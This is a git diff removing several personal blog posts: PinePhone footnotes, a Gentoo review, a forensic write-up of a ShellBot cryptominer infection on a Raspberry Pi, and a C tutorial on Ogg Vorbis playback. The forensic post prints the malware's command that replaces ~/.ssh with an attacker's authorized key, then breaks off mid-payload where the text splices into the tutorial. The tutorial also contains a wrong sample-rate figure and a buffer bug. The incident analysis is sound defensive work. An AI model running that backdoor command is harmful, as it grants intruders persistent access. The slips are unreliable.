[[https://source.android.com/devices/graphics/surfaceflinger-windowmanager][SurfaceFlinger]] is the display server, and so on. For the most part, there is very little semblance between Android and the Linux distributions one may be familiar with. You cannot, for example, run a regular Linux application on Android. - -[fn:2] If we take a minute to consider the policy /without/ its partisan nuance, I think this was a [[https://assets.publishing.service.gov.uk/government/uploads/system/uploads/attachment_data/file/790270/HCSEC_OversightBoardReport-2019.pdf][good call]] (albeit poorly implemented). - -[fn:3] Using the Android calendar was so painful that I wrote some scripts to generate ICS files for my college classes, recurring meetings at work, etc., so I could import a couple hundred events at a time. I am so thankful that I don't need to do that anymore. - -[fn:4] Folks message me on XMPP so infrequently that I can get by just using it on desktop. - -[fn:6] Which is a bit of a shame. It wasn't a feature I used often on my old phone, but I was happy it was there. I have some really fond memories of sitting in the car when I was 16 and using the FM radio app on my phone to scan the airwaves as we passed through Maine during the winter. - -[fn:7] It was a bit of a pain to set up when I first tried it, so I gave up. - -[fn:8] While I tend to use "GNU/Linux" to refer to the kernel + user space, the distribution I'm running on my phone doesn't actually use GNU components. [[https://postmarketos.org/][PostmarketOS]] is based on Alpine, which uses [[https://musl.libc.org/][musl]] and [[https://www.busybox.net/][BusyBox]]. - -[fn:9] If I recall, my cousin had pulled out a picture of his bedroom back in the late 90's and was commenting on the Limp Bizkit poster, and I mentioned that they'd released an album earlier that week. (And said something about Fred Durst's new appearance.) - -[fn:10] The only attempt I've seen at "breaking into" Android land with something that isn't based on Java is David Boddie's [[https://www.boddie.org.uk/david/www-repo/Projects/#DUCK][DUCK]], which I'd experimented with and enjoyed quite a bit. Unfortunately, I had my falling out with Android development around when I discovered it and never made anything of note with it. - -[fn:11] I /think/ this term originates from [[https://dustycloud.org/][Christine Lemmer-Webber]]. It's a neologism for arguing about which of some number of choices is the best, when one thing being better than another is not only subjective but also a triviality, and when the arguments tend to be unusually heated. American football teams is a good example. I don't think anyone actually cares about the Gnome versus KDE argument nowadays, though, (it seems to have been more relevant in my dad's time) so maybe it isn't accurate to call it footballing in 2022. - -[fn:12] And I can't figure out how to tell the compiler that I want to =move= the mutable =sender= into the closure and use that across all invocations. I don't think it's possible, but someone better than me at Rust is probably going to write me an email and tell me the better way to do this. When that happens, I'll update this post with an addendum. - -[fn:13] The =-t 3600= is to tell =pmbootstrap= not to kill itself if it doesn't see any output in half an hour. It's absolutely the most annoying thing in =pmbootstrap= because things just sometimes take a really long time to cross-compile. - -[fn:14] I should have included =go= as a build dependency, come to think of it. - -[fn:15] I considered a couple of different "clever" titles for this post, but settled on the simple "I love my PinePhone", after seeing a [[https://blog.danieljanus.pl/2022/08/18/i-love-my-gpd-micro-pc/][post of a similar name]] by Daniel Janus's about his GPD Micro PC. Coincidentally, a lot of the reasons he gives for enjoying the laptop line-up with my reasons for enjoying the PinePhone. - -[fn:16] I use [[https://en.wikipedia.org/wiki/Scrot][scrot]] and [[https://www.umaxx.net/dl/sct-0.5.tar.gz][sct]] for these tasks, respectively, on all of my X11-running machines. I've patched both =sct= and =wlsunset= to set the blue balance to 0 at night because [[https://en.wikipedia.org/wiki/Biological_effects_of_high-energy_visible_light][high-energy visible light stimulates melanopsin receptors in the eye]]. I was never able to find an app that could do that on Android, so I'd have to manually adjust it every night. - -[fn:17] Now that I've had a month to mull over this introduction, I think it's actually more likely that the power button was just being pressed down while it was shifting around in my pockets. diff --git a/org/Installing Gentoo: One Month Later/installing-gentoo-one-month-later.org b/org/Installing Gentoo: One Month Later/installing-gentoo-one-month-later.org deleted file mode 100644 index 09608b6..0000000 --- a/org/Installing Gentoo: One Month Later/installing-gentoo-one-month-later.org +++ /dev/null @@ -1,124 +0,0 @@ -#+TITLE: Installing Gentoo: One Month Later -#+DATE: <2018-05-28 Mon 20:10> -#+TAGS: opinion, linux, gentoo - -It seems that the general consensus on "distro hopping," the act of constantly -switching between distributions of GNU/Linux, is that it's a bad habit that -should be consciously avoided. If you do a search for the term, you'll get -articles with titles along the lines of "How I Stopped Distro Hopping." But it's -also a term that gets thrown around loosely, and I think that that "distro -hopping" is an acceptable practice in a lot of the contexts where the phrase is -used. Needless to say, I've "hopped" distributions in the past month, and this -blog post is going to describe the highs and lows of that experience. - -My experiences with GNU/Linux began when I installed openSUSE about four years -ago. I chose it over something more conventional like Ubuntu for its integration -with KDE Plasma 4 (I'm aware that I suffered from bad taste at the time). I -stuck with that until I decided to try Fedora for no particular reason, which -was short-lived. I later switched to Arch Linux to fit in with the cool kids, -and that became my daily driver for a little over two years. Recently, however, -I've switched to Gentoo, because I've wanted to try GNU/Linux without systemd -and friends. Many conversations with people over IRC convinced me that the -maintenance model of those packages is [[https://github.com/systemd/systemd/issues/6237][concerning, to say the least]], and that -it's preferable if the operations-critical parts of my operating system aren't -ridden with CVE's. Gutting Arch of the beasts within is possible, but seriously -complicates everything, so I decided that the best course of action was to just -throw the baby out with the bathwater and use this as an opportunity to -experiment with something I'd been meaning to try. - -Gentoo has been on my radar ever since I installed Arch, as I had several -friends who loved to talk about the merits of a source-based distribution. My -original plan was to wait until I had a machine I could comfortably experiment -with, separate from my workstation or laptop, but since I was hopping distros -anyway, I decided to just go ahead and get my hands dirty. Of course, I didn't -go into the whole migration process without concerns. For one, I want to cleanse -/all/ of machines of systemd. That includes the Raspberry Pi I use as a home -server, and I don't think it's powerful enough to be compiling everything from -source. I opted to install Alpine on that instead. The other problem was that my -laptop's only storage device was an SSD, which I didn't want to subject to -excessive writes. Fortunately the solution to that was straightforward: I was -able to mount =/var/tmp/portage'=as tmpfs so that all the object files generated -while compiling got dumped to an in-memory filesystem instead of the disk. - -After making sure that everything I needed to do was possible on the new setup, -I went ahead and installed it on both my workstation and laptop. The canonical -reference for installing Gentoo, dubbed "the handbook," is incredibly -well-written, so the installation process was painless. I think the quality of -documentation is a big benefit that Gentoo has over Arch; everyone praises the -Arch wiki, but I find that the Gentoo documentation is far more informative and -much more consistent. Setting it up past the initial installation really wasn't -difficult either - I had X11 running the same night. - -I also used this as an opportunity to try out some new software. On Arch, I was -using i3 and rxvt-unicode, but now I'm on dwm and st and I'm really enjoying -both of them. These programs are configured at compile-time, which would've made -using them on Arch a bit unwieldy, but Gentoo's package manager makes the whole -process trivial. I just throw any patches I want in =/etc/portage/patches=, edit -the =config.h= files in =/etc/portage/savedconfig=, and emerge the package. - -Gentoo's package manager is by far the best I've used in my four years of -running GNU/Linux. Being able to interface with it through a couple of files in -=/etc= is a great interface. It also brings USE flags, which is probably the -poster child of Gentoo's features. If you're not familiar with USE flags, they -allow you to enable or disable certain features at compile-time. As an example, -say I want to play some Goldeneye on my Nintendo 64 and use my computer as a -monitor. I have a cheap USB capture card with a kernel driver exposing the -Video4Linux API. I'll need some sort of video player to put the stream on my -monitor, but that video player is going to need to come with support for said -Video4Linux API. I'm what you might call a special case - most GNU/Linux users -don't have capture cards, so that feature isn't important to them. If it isn't -important to them, why should they have to waste disk space housing all the code -and dependencies for it? This is where conditional-compilation comes in. During -the process of turning source code into executable binaries, certain features -can be turned on or off. In a binary distribution like Arch Linux, the package -maintainers need to make an executive decision about which features should be -enabled, because they're making a binary for /everyone/. And, last I checked, -they decided that V4L support wasn't important enough for them to enable it. -Bummer. If you want that feature, you'll need to compile it yourself. And if a -package has features you don't care about, bummer. You have to either deal with -all the dependencies that those features bring in, or compile it yourself. - -USE flags makes this a lot easier by integrating conditional compilation options -into the package manager, rather than forcing you to wrangle with the configure -script of whatever build system the software uses. For example, I can compile -mpv with support for V4L simply by enabling the 'v4l' USE flag. The nice thing -about this is that all packages supporting V4L recognize this same USE flag, and -I can enable it globally - compiling V4L support into everything on my system -without putting much thought into it. And if I just want it for mpv instead of -everything on my system, I'm also able to enable it for just certain packages. - -This freedom does come with the downsides of, well, having to compile everything -from source. Compiling software takes time and processing power, and trying to -optimize the process has caused me some headaches. In Gentoo, you'll want to -pick a decent value for =--jobs= in =make.conf= so that compilation is fast. -=--jobs=, or =-j= is a signal to the build system that it can run some number of -tasks in parallel. I started out with =-j8= on my laptop, since it has 8 cores. -This worked great for smaller packages, but when I tried to emerge Firefox, my -machine gave up half-way through. It was still running. I could ~Ctrl+Z~ from -=emerge= and use it, but the compilation process had hanged and my only option -was to restart it, to which it would hang at another point in the compilation -process. I tried it again with =-j4= and it was able to compile without any -trouble, it just took much longer. I had a similar issue on my workstation - it -has a quad-core processor so I was using =-j4=, but I was regularly getting -segmentation faults while emerging large packages such as LLVM (apparently a -hardware issue that I need to look into), so I lowered it to =-j2=. Of course, -looking back on it now, [[https://blogs.gentoo.org/ago/2013/01/14/makeopts-jcore-1-is-not-the-best-optimization/][the number of cores your machine has isn't a good value -for '-j' anyway.]] - -Another great thing about Portage is the API for making your own packages. It's -shell scripts, so it's similar to how you'd go about making a package on Arch, -but I find the API feels like a massive hack. For one, [[https://devmanual.gentoo.org/][the documentation]], again, -towers over that of Arch, but it also brings something reminiscent of a standard -library: eclasses, which enable you to abstract the commonality between packages -using the same build system. Also, instead of having just one big AUR, -unofficially maintained packages are distributed in user-managed "overlays." I'd -think that pacman can probably do something similar, but you almost never see it -in practice. - -All in all, I'm very happy with the level of customization and freedom that -Gentoo offers me, and I haven't missed systemd one bit. OpenRC, ALSA, and -wpa_supplicant are all I need. Going forward, I'm hoping to become more involved -in the Gentoo community - becoming active on the forums and IRC, and hosting an -overlay for the handful of ebuilds I've made. The Gentoo community seems much -more tightly-knit than the Arch community, and I'm looking forward to meeting -some new friends. diff --git a/org/Investigating a Backdoor.SH.SHELLBOT.AA Infection/investigating-a-shellbot-aa-infection.org b/org/Investigating a Backdoor.SH.SHELLBOT.AA Infection/investigating-a-shellbot-aa-infection.org deleted file mode 100644 index 2a14f3c..0000000 --- a/org/Investigating a Backdoor.SH.SHELLBOT.AA Infection/investigating-a-shellbot-aa-infection.org +++ /dev/null @@ -1,282 +0,0 @@ -#+TITLE: Investigating a Backdoor.SH.SHELLBOT.AA Infection -#+DATE: <2020-01-22 Wed 10:43> -#+TAGS: writeup, reverse-engineering, linux, security - -It's typical for the younger sibling to look up to and mimic the older sibling, -which is apparently what happened while I was away at school. I'm self-hosting a -few services off of a Raspberry Pi B+ back at my parents' house, and when my -brother got a Pi of his own, he decided that he also wanted to use it for -self-hosting. Unfortunately, he doesn't know much about security, and -unintentionally did me the favor of setting up a honeypot.[fn:1] - -I was home for winter break last week and my dad called me over to tell me that -he'd gotten an email from our ISP. When he said that, I thought it was related -to the now defunct [[https://en.wikipedia.org/wiki/Copyright_Alert_System][Copyright Alert System]], but this time, it was a legitimate -abuse complaint. - -#+BEGIN_SRC prog -From: [REDACTED] -Date: January 17, 2020 at 12:30:43 PM EST -To: [REDACTED] -Subject: [REDACTED] Unauthorized traffic originating from your IP [REDACTED] - -Dear Verizon Online Customer, - -We have received 51 complaints since 01/15/2020 - -On 01-17-2020, your account was reported to have been used in an attempt to gain -unauthorized access to another system, or to transmit malicious traffic to -another Internet user. - -It is possible your system may have been infected by a virus or a botnet that is -causing this action. - -Report and/or Logs: - -Note: Local timezone is +0100 (CET) -Jan 17 10:23:39 [REDACTED] sshd[3230]: Invalid user user from [REDACTED] -Jan 17 10:23:39 [REDACTED] sshd[3230]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=[REDACTED] -Jan 17 10:23:41 [REDACTED] sshd[3230]: Failed password for invalid user user from [REDACTED] port 32776 ssh2 -Jan 17 10:23:41 [REDACTED] sshd[3230]: Received disconnect from [REDACTED] port 32776:11: Bye Bye [preauth] -Jan 17 10:23:41 [REDACTED] sshd[3230]: Disconnected from [REDACTED] port 32776 [preauth] -Jan 17 11:33:28 [REDACTED] sshd[17364]: Invalid user nitesh from [REDACTED] -Jan 17 11:33:28 [REDACTED] sshd[17364]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=[REDACTED] -Jan 17 11:33:30 [REDACTED] sshd[17364]: Failed password for invalid user nitesh from [REDACTED] port 60306 ssh2 -Jan 17 11:33:30 [REDACTED] sshd[17364]: Received disconnect from [REDACTED] port 60306:11: Bye Bye [preauth] -Jan 17 11:33:30 [REDACTED] sshd[17364]: Disconnected from [REDACTED] port 60306 [preauth] -Jan 17 11:59:21 [REDACTED] sshd[22398]: Invalid user elastic from [REDACTED] - -Please immediately ensure your anti-virus software is properly updated, and then -run a full-system virus scan on your computer(s). Follow the removal -instructions for any viruses found, as indicated by your anti-virus software. - -Additional information and removal instructions about viruses and your -anti-virus software may be found on the website of your anti-virus software -manufacturer. - -It is difficult to verify the presence of an exact virus which has infected a -computer without a full system scan with up-to-date anti-virus software. -Therefore, you may wish to contact the Technical Support Department of your -anti-virus software manufacturer, should you need assistance with this process, -or have any questions or concerns about a possible virus infection. - -Please be aware of the importance in taking immediate actions to stop further -virus related activity. If you are unable to take immediate action, it would be -advisable to remove the computer(s) which may be infected from any networks and -the Internet connection until it has been properly cleaned. For DSL customers, -this may be easily done by unplugging the network cable that connects the -computer to the DSL modem, or the telephone line that connects the DSL modem to -the telephone jack. - -Verizon Policy: - -If you do not take appropriate action to resolve this issue, we will be forced -to take further action, which could include the suspension of your service until -the issue is resolved, in order to ensure the safety of our network, and the -safety of other Internet users. - -Please carefully review these agreements, which can be viewed at: - -http://www.verizon.com/about/terms/ - -Any future violation will result in further action being taken, up to, and -including, the termination of your service. - -Sincerely, - -Verizon Online Abuse -http://www.verizon.com/about/terms/ -http://www.verizon.com/securityinfo -[REDACTED] -#+END_SRC - -We ran through a couple of possibilities for the source before my dad pulled up -the list of ports open on our router. There were a few we didn't remember -setting up, and they were mapped to an IP we didn't recognize. That's when my -brother came down and, after some interrogation, spilled the beans. - -"Port 24 is SSH for my Raspberry Pi." - -"Did you... change the default login credentials?" - -"No." - -"Go unplug it right now." - -I told him to give me the SD card so I could pull the malware off of it, and to -wipe it clean before turning the Pi on again. - -The first place I decided to look was =/var/log/auth.log=. - -... - -What the hell? There are entries from an hour ago! - -#+BEGIN_SRC prog -... -Jan 18 10:43:23 raspberrypi sshd[819]: Failed password for pi from [REDACTED] port 59468 ssh2 -Jan 18 10:43:41 raspberrypi sshd[819]: Failed password for pi from [REDACTED] port 59468 ssh2 -Jan 18 10:43:44 raspberrypi sshd[819]: Accepted password for pi from [REDACTED] port 59468 ssh2 -Jan 18 10:43:44 raspberrypi sshd[819]: pam_unix(sshd:session): session opened for user pi by (uid=0) -Jan 18 10:43:44 raspberrypi systemd-logind[375]: New session c2 of user pi. -Jan 18 10:43:44 raspberrypi systemd: pam_unix(systemd-user:session): session opened for user pi by (uid=0) -Jan 18 10:51:50 raspberrypi sudo: pi : TTY=pts/0 ; PWD=/var/log ; USER=root ; COMMAND=/usr/bin/apt-get install denyhosts -Jan 18 10:51:50 raspberrypi sudo: pam_unix(sudo:session): session opened for user root by pi(uid=0) -Jan 18 10:52:09 raspberrypi sudo: pam_unix(sudo:session): session closed for user root -Jan 18 11:17:01 raspberrypi CRON[1096]: pam_unix(cron:session): session opened for user root by (uid=0) -Jan 18 11:17:02 raspberrypi CRON[1096]: pam_unix(cron:session): session closed for user root -#+END_SRC - -I asked my brother about it, and as it turns out, he didn't heed my advice to -unplug it immediately.[fn:2] Even if installing =denyhosts= didn't do anything, it -did leave some extra log trails for me to look at. - -#+BEGIN_SRC prog -... -2020-01-18 10:52:06,162 - denyhosts : INFO new suspicious logins: ['teamspeak - [REDACTED]'] -... -#+END_SRC - -Grepping for "Accepted", we can find the time of the initial breach. Well... -assuming that the logs up to this point haven't been tampered with. - -#+BEGIN_SRC prog -Jan 15 09:36:10 raspberrypi sshd[2253]: Accepted password for teamspeak from [REDACTED] port 49002 ssh2 -Jan 15 09:36:10 raspberrypi sshd[2253]: pam_unix(sshd:session): session opened for user teamspeak by (uid=0) -Jan 15 09:36:10 raspberrypi systemd-logind[369]: New session c7 of user teamspeak. -Jan 15 09:36:10 raspberrypi systemd: pam_unix(systemd-user:session): session opened for user teamspeak by (uid=0) -... -Jan 15 09:36:20 raspberrypi passwd[2288]: pam_unix(passwd:chauthtok): password changed for teamspeak -Jan 15 09:36:20 raspberrypi passwd[2295]: pam_unix(passwd:chauthtok): authentication failure; logname= uid=1001 euid=0 tty= ruser= rhost= user=teamspeak -... -Jan 15 09:42:02 raspberrypi sshd[2355]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=[REDACTED] user=teamspeak -Jan 15 09:42:04 raspberrypi sshd[2355]: Failed password for teamspeak from [REDACTED] port 56002 ssh2 -Jan 15 09:42:05 raspberrypi sshd[2355]: Received disconnect from [REDACTED] port 56002:11: Bye Bye [preauth] -Jan 15 09:42:05 raspberrypi sshd[2355]: Disconnected from [REDACTED] port 56002 [preauth] -Jan 15 09:42:05 raspberrypi sshd[2253]: pam_unix(sshd:session): session closed for user teamspeak -... -#+END_SRC - -So my brother wasn't compromised by the default password for 'pi' that comes -with [[https://www.raspberrypi.org/downloads/noobs/][NOOBS]]. His server was compromised because the account for running his TS3 -server had an empty password. At this point, I had what I thought was a pretty -clever idea for finding whatever files the attacker might've dropped. - -#+BEGIN_SRC prog -jakob@Epsilon /tmp/image $ find . -newermt $(date +%Y-%m-%d -d '7 days ago') -type f -type executable -print -... -./home/teamspeak/.bashtemp/a/a -./home/teamspeak/.bashtemp/a/anacron -./home/teamspeak/.bashtemp/a/stop -./home/teamspeak/.bashtemp/a/cron -./home/teamspeak/.bashtemp/a/init0 -./home/teamspeak/.bashtemp/a/run -./home/teamspeak/.bashtemp/a/upd -./home/teamspeak/.bashtemp/cron.d -./home/teamspeak/.bashtemp/b/a -./home/teamspeak/.bashtemp/b/stop -./home/teamspeak/.bashtemp/b/sync -./home/teamspeak/.bashtemp/b/run -... -#+END_SRC - -Nice. - -The =a= directory seems to contains scripts for setting up a cryptocurrency miner. -=a/a= sets [[https://en.wikipedia.org/wiki/Model-specific_register][MSR]] values and creates =a/upd=, which essentially just runs =a/run=. =a/stop= -hamfistedly kills all =cron= jobs, =a/init-0= is a "script for killing -cryptocurrency miners in a Linux enviornment [sic]", and =a/run= runs either -=anacron= or =cron= depending on =$ARCH=. This is pretty suspicious, especially since -there aren't any crontabs. - -#+BEGIN_SRC prog -jakob@Upsilon /tmp/image/home/teamspeak/.bashtemp/a $ strings anacron | grep -i monero - "coin": "monero", - "coin": "monero", - "coin": "monero", -cryptonight-monerov7 -cryptonight-monerov8 -monero -#+END_SRC - -Surprise, surprise. It isn't actually =cron=. It's a cryptominer in disguise. - -=a/run= only checks for 'x86_64' and 'i686', which I guess this means that it -didn't do anything with my brother's ARM machine. But my brother's response when -I mentioned this to him was "that explains why it was burning hot when I -unplugged it". So maybe it /was/ doing some mining. The world may never know. - -The =b= directory is a little more interesting. =b/a= creates =b/sync=, which, like -=a/upd=, essentially just runs =b/run=. =b/stop= hamfistedly kills a bunch of -processes: =rsync=, =perl=, =nginx=, =ecryptfx=, and =xmr= ([[https://en.wikipedia.org/wiki/Monero_(cryptocurrency)][Monero]]?). =b/run= is where the -fun starts. It's a shell script that runs some Perl code, which I'll get to in a -minute, but it overwrites =~/.ssh= to set up a backdoor. - -#+BEGIN_SRC prog -cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh -#+END_SRC - -If you do a search for that key, you'll come up with results from other people -who've been infected. - -- [[https://ubuntuforums.org/archive/index.php/t-2395684.html][I think I got hacked by some crypo mining malware]] -- [[https://askubuntu.com/questions/1161003/strange-cron-job-takes-up-100-of-cpu-ubuntu-18-lts-server][Strange Cron Job takes up 100% of CPU Ubuntu 18 LTS Server]] - -As for the Perl code, it's a base64 blob echoed into =base64 --decode=, which is -then piped into =perl=. Decoding it reveals - -#+BEGIN_SRC perl -eval unpack u=>q{_"FUY("1P -#+TAGS: tutorial, programming, audio, c - -To start off, I'd like to say that I know very little about audio programming -and digital audio in general. I've never formally studied signal processing, -and hell, I haven't even started high school physics yet. This post merely -documents what I've learned while trying to get sound working in my game, -because there aren't really any other learning resources about this out there. - -In this tutorial, we'll write a basic music player for Ogg Vorbis in C using -two awesome libraries from Xiph.Org. The first, libao, will provide us with a -means to play sound through our speakers, or headphones. or whatever, and we'll -use libvorbisfile to decode the Ogg Vorbis files. - -libao, like most other audio libraries, works by giving us a *PCM buffer* that -we write sound data to, and that gets played back. *PCM* stands for Pulse-Code -Modulation, and it's the basis of digital audio programming. You might have -heard people talk about how analog audio is so much better than digital, and I -think that learning the difference between the two helps to better understand -digial audio. Historically, sound was recorded in terms of analog signals, -which were easy to store as something like field strength on a magnetic medium. -However, digitizing audio requires the signal to be either sampled or -quantized. Both techniques are fairly similar, basically getting an -instantaneous representation of the signal some number of times a second. The -image below does a good job of explaining it, I think. - -#+CAPTION: Diagram showing the difference between an analog sine wave and a quantization of that wave. -[[./analog-vs-digital.png]] - -The rate at which the signal is sampled or quantized is the *frequency*. 44.1 -kHz is typically the standard - meanining that 441,000 samples are taken every -second. The number of *channels* is essentially how many speakers the sound is -meant for. Stereo sound is the standard, so that is typically 2. And finally, -the audio can be 8, 16, 24, or 32 bit, representing the size of the integer -used to represent the sample. - -Before we get into the code; you might need to configure libao if you're using -PulseAudio. Just open it up in your favorite editor and change it as shown -below. - -#+BEGIN_SRC -$ sudo $EDITOR /etc/libao.conf -# Change from -default_driver=alsa -dev=default -# To -default_driver=pulse -# Make sure to remove the dev=default line -#+END_SRC - -Now we're ready to get into the code. We'll include the headers for libao and -libvorbisfile, as well as some standard library headers and the size of the PCM -buffer, which I'll explain soon. - -#+BEGIN_SRC c :hl_lines 0 -#include -#include - -#include -#include - -#define BUF_SIZE 256 -#+END_SRC - -The program is actually simple enough that we can do everything in main. For -clarity, I'll be using C99 variable declaration. Our program will take the file -to play as a command-line argument, so the first thing we need to do is check -argc. - -#+BEGIN_SRC c :hl_lines 0 -if (argc != 2) { - fprintf(stderr, "Usage: %s [PATH]\n", argv[0]); - return 1; -} -#+END_SRC - -Next, we'll initialize libao. We'll also get the ID of the default sound driver -for when we open an audio device later. - -#+BEGIN_SRC c :hl_lines 0 -ao_initialize(); -int default_driver = ao_default_driver_id(); -#+END_SRC - -Now, we'll specify the output format we want. This is what we were talking about -earlier, about frequency and channels and such. The only part of this that -wasn't mentioned was =format.byte_format=, which is just the byte order of the -PCM buffer. The Vorbis decoder will work with either big or little endian, but -we'll just stick with little endian for simplicity. - -#+BEGIN_SRC c :hl_lines 0 -ao_sample_format format = {0}; -format.bits = 16; -format.channels = 2; -format.rate = 44100; -format.byte_format = AO_FMT_LITTLE; -#+END_SRC - -We'll use this format structure to open an audio device with the default sound -driver we figured out earlier. - -#+BEGIN_SRC c :hl_lines 0 -ao_device *device = ao_open_live(default_driver, &format, NULL); -if (device == NULL) { - fprintf(stderr, "Error opening device\n"); - return 1; -} -#+END_SRC - -And now, we'll get our PCM buffer. Some audio libraries have a routine to give -you a a buffer, but libao is alright with us using pretty much anything, so -we'll allocate it with =malloc(3)=. At this point, maybe you're wondering why we -use a buffer. While we /could/ read and play one byte at a time, that can be -very inefficient. It's better to read it into a buffer, and then play that -buffer. You don't want it to be too large, though, as there will be a longer -pause every time the buffer has to be read into. You also don't want it to be -too small. I find that 256 is good enough, but you can tweak that to your needs. -The size should be a power of two. - -#+BEGIN_SRC c :hl_lines 0 -char *buf = malloc(BUF_SIZE); -if (buf == NULL) { - fprintf(stderr, "Error allocating PCM buffer.\n"); - return 1; -} -#+END_SRC - -Now, we'll initialize libvorbisfile, which is done by opening the file we want -to play. This huge switch statement isn't necessary, it's just there to show all -the possible status codes of =ov_fopen=. Checking for a status code of 0 would -be just fine here. - -#+BEGIN_SRC c :hl_lines 0 -OggVorbis_File vf; -switch (ov_fopen(argv[1], &vf)) { -case OV_EREAD: - fprintf(stderr, "Couldn't open %s.\n", argv[1]); - return 1; - -case OV_ENOTVORBIS: - fprintf(stderr, "File contains no vorbis data.\n"); - return 1; - -case OV_EVERSION: - fprintf(stderr, "Vorbis version mismatch.\n"); - return 1; - -case OV_EBADHEADER: - fprintf(stderr, "File contains a bad bitstream header.\n"); - return 1; - -case OV_EFAULT: - fprintf(stderr, "Failure induced by heap/stack corruption.\n"); - return 1; -} -#+END_SRC - -The real meat and potatoes of the program comes next. A loop that continually -reads data into our PCM buffer and plays it, until there's no more data to -play. - -#+BEGIN_SRC c :hl_lines 0 -int read, bitstream; -do { - read = ov_read(&vf, buf, BUF_SIZE, 0, 2, 1, &bitstream); - ao_play(device, buf, BUF_SIZE); -} while (read > 0); -#+END_SRC - -The random integer constants in the call to =ov_read= might be a bit -intimidating, but it's really nothing to worry about. The first parameter is -whether or not the PCM buffer is big endian (which it is not, so we pass 0), the -second is the sample size, where 2 represents 16-bit, and the third is whether -or not the data is signed. You can read more about it in [[https://xiph.org/vorbis/doc/vorbisfile/ov_read.html][the documentation]]. - -Hopefully, things are starting to click around now. Any sound that comes out of -your speakers is just a bunch of numbers, and file formats like Ogg and MP3 are -just a means of compressing those numbers. - -And finally, we'll finish up with some cleanup. - -#+BEGIN_SRC c :hl_lines 0 -free(buf); -ov_clear(&vf); -ao_close(device); -ao_shutdown(); -return 0; -#+END_SRC - -Compilation is pretty easy, too. - -#+BEGIN_SRC -$ gcc -o oggplay oggplay.c -lvorbisfile -lao -#+END_SRC - -Pretty painless, right? Without error handling, this is about 21 lines of code. - -Go ahead, try it out! If you don't save your music as Ogg Vorbis, you can -convert songs with ffmpeg: - -#+BEGIN_SRC -$ ffmpeg -i [file] -c:a libvorbis song.ogg -#+END_SRC - -Here are some exercises if you want to play with this more: -- Get the frequency from the file being played, rather than hardcoding it at - 44.1 kHz. Check out the [[https://xiph.org/vorbis/doc/vorbisfile/reference.html][file Information section of the documentation]]. -- Add a status line showing the current timestamp. -- Watch [[https://www.youtube.com/watch?v=pFgui9uGmr4][this talk from SIGINT13]]. -- Play two sounds at once by adding their PCM values. Keep in mind that 8-bit - and 16-bit integers overflow quite easily. -- Learn the library for another audio codec/container, like libopenmpt for - classic tracker music. -- If you're feeling particularly up to a challenge, try rewriting the player - using just libvorbis and libogg, rather than libvorbisfile. diff --git a/org/Pushing Haunt to Its Limits/old-webmention-screenshot.png b/org/Pushing Haunt to Its Limits/old-webmention-screenshot.png deleted file mode 100644 index 6c4f015..0000000 Binary files a/org/Pushing Haunt to Its Limits/old-webmention-screenshot.png and /dev/null differ diff --git a/org/Pushing Haunt to Its Limits/pushing-haunt-to-its-limits.org b/org/Pushing Haunt to Its Limits/pushing-haunt-to-its-limits.org deleted file mode 100644 index 2598949..0000000 --- a/org/Pushing Haunt to Its Limits/pushing-haunt-to-its-limits.org +++ /dev/null @@ -1,1102 +0,0 @@ -#+TITLE: Pushing Haunt to Its Limits -#+DATE: <2022-12-12 Mon 07:31> -#+TAGS: writeup, programming, lisp, guile, scheme, webdev -#+HAUNT_METADATA: (("meta-tags" . "((\"twitter:card\" . \"summary\") (\"twitter:site\" . \"@0daysfordays\") (\"twitter:creator\" . \"@0daysfordays\") (\"og:description\" . \"Some thoughts on using Guile to write a comment system, among other things.\") (\"og:image\" . \"https://jakob.space/static/image/old-webmention-screenshot.png\"))")) - -When I started writing this article, I didn't mean to do anything more than describe a comment system I'd written in Guile. But as often happens when I write, I soon found myself disregarding that original scope and recording the history of every line of code I've written that's ever been run by a web server. I settled on allowing this to be an article about incorporating dynamic content into a [[https://dthompson.us/projects/haunt.html][Haunt]] site -- a use-case that Haunt probably wasn't built to support, but which works surprisingly well due to Haunt configurations being ordinary Scheme programs. - -* A Reason to Demarcate "Dynamic" and "Static" - -A comparison that's sometimes made in discussing personal websites is "dynamic" versus "static." To me, dynamic is something that requires server-side logic or rendering, and static is something that doesn't. A website built using [[https://en.wikipedia.org/wiki/Jekyll_(software)][Jekyll]] and hosted solely on [[https://neocities.org/][Neocities]] or [[https://pages.github.com/][GitHub pages]] is static, at least by my definition, and a [[https://en.wikipedia.org/wiki/WordPress][WordPress]] or [[https://en.wikipedia.org/wiki/Drupal][Drupal]] blog is dynamic. The picture is muddied by the existence of third-party services like [[https://en.wikipedia.org/wiki/Disqus][Disqus]] or [[https://utteranc.es/][utterances]], but I digress. I make the distinction in this article because I have two physically isolated machines with distinct purposes: one is a static web server, and the other runs the software that's responsible for implementing the "dynamic" capabilities. - -In particular, this is all firmly seated in my old man's home network setup, which he uses to host (among other things) a website, so he has a machine running Apache. The page you're viewing now is hosted on that machine, and so is my [[https://p0ly.com/][brother's website]]. We're able to host them all on the same machine thanks to name-based [[https://httpd.apache.org/docs/2.4/vhosts/index.html][virtual hosts]]. On the same network is a separate Gentoo server that's running a couple of services for myself -- because I don't like the idea of running experimental garbage on a server that belongs to my dad. Apache supports operation as a [[https://httpd.apache.org/docs/2.4/mod/mod_proxy.html][forward proxy]], so I'm able to have dad's server mediate traffic between the WAN and my Gentoo box. Initially, I only used this for exposing my [[https://social.jakob.space/][Pleroma instance]] to the internet, but I later added a handler for =jakob.space/api/*=, which hits the Guile application that this article is about. - -* The Beginning: An RSVP System - -Earlier this year, I wanted to have some folks over to celebrate my 